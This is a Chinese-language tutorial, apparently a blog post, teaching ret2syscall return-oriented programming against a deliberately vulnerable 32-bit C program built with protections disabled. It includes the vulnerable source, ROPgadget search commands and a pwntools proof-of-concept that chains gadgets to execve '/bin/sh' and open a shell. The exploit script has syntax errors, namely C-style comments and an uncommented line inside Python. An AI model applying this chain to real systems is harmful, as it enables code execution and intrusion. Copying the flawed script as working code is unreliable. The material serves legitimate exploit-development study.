ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接,从而构建恶意代码。可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
ret2syscall,即控制程序执行系统调用,获取 shell。
接下来我们看一个示例,在read函数这里会出现缓冲区溢出。
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
进行编译
gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
-static :静态编译
查看保护机制
这里很奇怪,明明命令已经关闭了canary栈保护,可是这里还是显示开启了栈保护,更奇怪的是这个并没有影响溢出的结果。
定位溢出点(这里简写了,可以查看我之前的文章有专门讲定位溢出点的方法和过程)
cyclic 100
cyclic -l laaa
结果是44
查找pop…ret以及/bin/sh和int 0x80的地址
只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
execve的系统调用号是0x0b
execve系统调用号赋给eax寄存器,将参数”/bin/sh”的地址赋值给ebx寄存器,参数NULL,NULL赋值给ecx和edx寄存器,触发 0x80 号中断
利用ROPgadget的工具查找eax ebx ecx edx的地址(即pop…ret的地址),以及/bin/sh和int 0x80的地址。即:
------ ---------------分割线---------------------
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
------ ---------------分割线---------------------
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
ROPgadget --binary ./7.exe --string "/bin/sh"
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
poc
找到了地址之后就可以写poc了!
from pwn import *
#context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06) // pop eax ; ret 的地址
value_eax=p32(0xb) //eax的值是0xb
add_edx_ecx_ebx=p32(0x0806f711) pop edx;pop ecx; pop ebx ;ret 的地址
value_ebx=p32(0x080ae008) //ebx指向/bin/sh的地址
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2) //
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
#pid=proc.pidof(p)
#print pid
#pause()
p.sendline(payload)
p.interactive()
构造的payload为
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
成功!
参考文章:
https://blog.csdn.net/qq_44759495/article/details/89474281
https://www.cnblogs.com/ichunqiu/p/9288935.html